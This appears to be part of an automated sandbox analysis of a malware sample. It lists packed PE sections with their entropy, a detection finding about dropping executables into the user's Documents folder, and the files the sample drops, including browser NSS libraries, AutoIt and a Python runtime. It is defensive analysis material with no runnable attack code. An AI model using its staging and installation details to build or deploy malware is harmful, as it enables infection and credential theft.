Source: random[2].exe.4.dr	Static PE information: section name: ryeovcsc
Source: random[2].exe.4.dr	Static PE information: section name: .taggant
Source: FIJDGIJJKE.exe.4.dr	Static PE information: section name:
Source: FIJDGIJJKE.exe.4.dr	Static PE information: section name: .idata
Source: FIJDGIJJKE.exe.4.dr	Static PE information: section name: xqzoqyib
Source: FIJDGIJJKE.exe.4.dr	Static PE information: section name: ryeovcsc
Source: FIJDGIJJKE.exe.4.dr	Static PE information: section name: .taggant
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name: xqzoqyib
Source: skotes.exe.5.dr	Static PE information: section name: ryeovcsc
Source: skotes.exe.5.dr	Static PE information: section name: .taggant
Source: random[4].exe.9.dr	Static PE information: section name:
Source: random[4].exe.9.dr	Static PE information: section name: .idata
Source: random[4].exe.9.dr	Static PE information: section name: sfopxnfq
Source: random[4].exe.9.dr	Static PE information: section name: upkutmqu
Source: random[4].exe.9.dr	Static PE information: section name: .taggant
Source: 8a0ebcc2e0.exe.9.dr	Static PE information: section name:
Source: 8a0ebcc2e0.exe.9.dr	Static PE information: section name: .idata
Source: 8a0ebcc2e0.exe.9.dr	Static PE information: section name: sfopxnfq
Source: 8a0ebcc2e0.exe.9.dr	Static PE information: section name: upkutmqu
Source: 8a0ebcc2e0.exe.9.dr	Static PE information: section name: .taggant
Source: random[1].exe0.9.dr	Static PE information: section name: .fptable
Source: 943fedf78d.exe.9.dr	Static PE information: section name: .fptable
Source: random[2].exe.9.dr	Static PE information: section name:
Source: random[2].exe.9.dr	Static PE information: section name: .idata
Source: random[2].exe.9.dr	Static PE information: section name:
Source: random[2].exe.9.dr	Static PE information: section name: ytfdrfzx
Source: random[2].exe.9.dr	Static PE information: section name: suajkmtz
Source: random[2].exe.9.dr	Static PE information: section name: .taggant
Source: d76dd796e0.exe.9.dr	Static PE information: section name:
Source: d76dd796e0.exe.9.dr	Static PE information: section name: .idata
Source: d76dd796e0.exe.9.dr	Static PE information: section name:
Source: d76dd796e0.exe.9.dr	Static PE information: section name: ytfdrfzx
Source: d76dd796e0.exe.9.dr	Static PE information: section name: suajkmtz
Source: d76dd796e0.exe.9.dr	Static PE information: section name: .taggant
Source: random[2].exe0.9.dr	Static PE information: section name:
Source: random[2].exe0.9.dr	Static PE information: section name: .idata
Source: random[2].exe0.9.dr	Static PE information: section name:
Source: random[2].exe0.9.dr	Static PE information: section name: jzrbpplf
Source: random[2].exe0.9.dr	Static PE information: section name: qryisspl
Source: random[2].exe0.9.dr	Static PE information: section name: .taggant
Source: e13ae12563.exe.9.dr	Static PE information: section name:
Source: e13ae12563.exe.9.dr	Static PE information: section name: .idata
Source: e13ae12563.exe.9.dr	Static PE information: section name:
Source: e13ae12563.exe.9.dr	Static PE information: section name: jzrbpplf
Source: e13ae12563.exe.9.dr	Static PE information: section name: qryisspl
Source: e13ae12563.exe.9.dr	Static PE information: section name: .taggant
Source: random[3].exe0.9.dr	Static PE information: section name:
Source: random[3].exe0.9.dr	Static PE information: section name: .idata
Source: random[3].exe0.9.dr	Static PE information: section name:
Source: random[3].exe0.9.dr	Static PE information: section name: whflkpvn
Source: random[3].exe0.9.dr	Static PE information: section name: esywlygt
Source: random[3].exe0.9.dr	Static PE information: section name: .taggant
Source: 13f4808de9.exe.9.dr	Static PE information: section name:
Source: 13f4808de9.exe.9.dr	Static PE information: section name: .idata
Source: 13f4808de9.exe.9.dr	Static PE information: section name:
Source: 13f4808de9.exe.9.dr	Static PE information: section name: whflkpvn
Source: 13f4808de9.exe.9.dr	Static PE information: section name: esywlygt
Source: 13f4808de9.exe.9.dr	Static PE information: section name: .taggant
Source: random[3].exe1.9.dr	Static PE information: section name:
Source: random[3].exe1.9.dr	Static PE information: section name: .idata
Source: random[3].exe1.9.dr	Static PE information: section name: jimlxaop
Source: random[3].exe1.9.dr	Static PE information: section name: lzmmbpyt
Source: random[3].exe1.9.dr	Static PE information: section name: .taggant
Source: 6319f0cc28.exe.9.dr	Static PE information: section name:
Source: 6319f0cc28.exe.9.dr	Static PE information: section name: .idata
Source: 6319f0cc28.exe.9.dr	Static PE information: section name: jimlxaop
Source: 6319f0cc28.exe.9.dr	Static PE information: section name: lzmmbpyt
Source: 6319f0cc28.exe.9.dr	Static PE information: section name: .taggant
Source: random[3].exe2.9.dr	Static PE information: section name:
Source: random[3].exe2.9.dr	Static PE information: section name: .idata
Source: random[3].exe2.9.dr	Static PE information: section name: tjfrjgvc
Source: random[3].exe2.9.dr	Static PE information: section name: oeyaxygs
Source: random[3].exe2.9.dr	Static PE information: section name: .taggant
Source: 334592f815.exe.9.dr	Static PE information: section name:
Source: 334592f815.exe.9.dr	Static PE information: section name: .idata
Source: 334592f815.exe.9.dr	Static PE information: section name: tjfrjgvc
Source: 334592f815.exe.9.dr	Static PE information: section name: oeyaxygs
Source: 334592f815.exe.9.dr	Static PE information: section name: .taggant
Source: mfc140u.dll.22.dr	Static PE information: section name: .didat
Source: VCRUNTIME140.dll.22.dr	Static PE information: section name: _RDATA
Source: _pytransform.dll.22.dr	Static PE information: section name: .xdata
Source: libcrypto-1_1.dll.22.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.22.dr	Static PE information: section name: .00cfg
Source: python310.dll.22.dr	Static PE information: section name: PyRuntim

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF4B536 push ecx; ret	4_2_6BF4B549
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Code function: 5_2_0024D91C push ecx; ret	5_2_0024D92F
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Code function: 5_2_00241359 push es; ret	5_2_0024135A
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: 10_2_00838287 push esi; iretd	10_2_00838288
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: 10_2_0080E75A push ecx; ret	10_2_0080E76D

Source: random(4).exe	Static PE information: section name: entropy: 7.09048271708439
Source: 7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe.0.dr	Static PE information: section name: entropy: 7.172018160610141
Source: random[2].exe.4.dr	Static PE information: section name: entropy: 7.172018160610141
Source: FIJDGIJJKE.exe.4.dr	Static PE information: section name: entropy: 7.172018160610141
Source: skotes.exe.5.dr	Static PE information: section name: entropy: 7.172018160610141
Source: random[2].exe.9.dr	Static PE information: section name: ytfdrfzx entropy: 7.9478166443730345
Source: d76dd796e0.exe.9.dr	Static PE information: section name: ytfdrfzx entropy: 7.9478166443730345
Source: random[2].exe0.9.dr	Static PE information: section name: jzrbpplf entropy: 7.956572353209662
Source: e13ae12563.exe.9.dr	Static PE information: section name: jzrbpplf entropy: 7.956572353209662
Source: random[3].exe0.9.dr	Static PE information: section name: whflkpvn entropy: 7.955966555987466
Source: 13f4808de9.exe.9.dr	Static PE information: section name: whflkpvn entropy: 7.955966555987466
Source: random[3].exe1.9.dr	Static PE information: section name: entropy: 7.09048271708439
Source: 6319f0cc28.exe.9.dr	Static PE information: section name: entropy: 7.09048271708439

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

File created: C:\Users\user\Documents\FIJDGIJJKE.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\_pytransform.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[4].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\_cffi_backend.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\python310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Pythonwin\mfc140u.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Pythonwin\win32ui.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random(4).exe	File created: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\Users\user\Documents\FIJDGIJJKE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\charset_normalizer\md__mypyc.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\pywin32_system32\pythoncom310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\pywin32_system32\pywintypes310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.001\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\win32\win32api.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Util\_strxor.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.001\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\random(4).exe	File created: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[4].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\win32\win32trace.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\win32\_win32sysloader.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.001\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\charset_normalizer\md.cp310-win_amd64.pyd	Jump to dropped file
